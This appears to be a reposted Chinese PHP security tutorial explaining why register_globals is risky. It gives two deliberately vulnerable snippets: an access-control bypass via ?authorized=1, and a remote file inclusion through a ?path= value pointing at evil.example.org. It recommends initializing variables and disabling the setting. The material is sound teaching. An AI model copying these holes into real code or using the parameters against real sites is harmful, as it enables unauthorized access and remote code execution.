PHP安全之Register Globals
register_globals参数在 PHP 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞,但是的确是一个安全风险。因此,应该始终在开发过程中屏蔽register_globals。 为什么这是一个安全风险?每一种情形都需要的单独说明才能描述清楚,对于所有情形只给出一个恰当的例子是非常困难的。不管怎样,最常见的例子是在PHP手册中描述的: <?phpif (authenticated_user()){$authorized = true;}if ($authorized){include ''/highly/sensitive/data.php'';}?>当参数register_globals开启的时候,这个页面可以使用?authorized=1的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,而不是register_globals的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,普通的全局变量(比如本例中的$authorized)将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且将参数error_reporting设置为E_ALL,这样使用未初始化的变量就不会在开发的时候被忽略。 另外一个关于register_globals的例子是在使用include包含动态路径的时候可能产生问题: <?phpinclude "$path/script.php";?>当参数register_globals开启的时候,这个页面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的参数访问,使得本例中的代码和下面的代码等同: <?phpinclude ''http://evil.example.org/?/script.php'';?>如果参数allow_url_fopen开启的时候(即便是在php.ini-recommended中,默认也是开启的),这将如同包含本地文件一般包含http://evil.example.org/这样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的开源项目中都发现。 初始化$path可以避免这个隐患,而且不用屏蔽参数register_globals。然而开发人员的失误可能会产生没有初始化的变量,修改全局配置以屏蔽参数register_globals可以尽可能的避免这种隐患被忽视。 便利性总是另人愉快的,过去我们不得不手工区分哪些是表单数据,哪些是普通变量。而使用
Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved 地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008 电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134 《中华人民共和国增值电信业务经营许可证》闽B2-20100024 ICP备案:闽ICP备05037997号
Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved 地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008 电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134 《中华人民共和国增值电信业务经营许可证》闽B2-20100024 ICP备案:闽ICP备05037997号
需要补充说明的是,屏蔽参数register_globals会帮助开发人员更加留意数据的来源,而这正是一个有安全意识的开发人员所应该具备的素质。 |
||||||||||
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |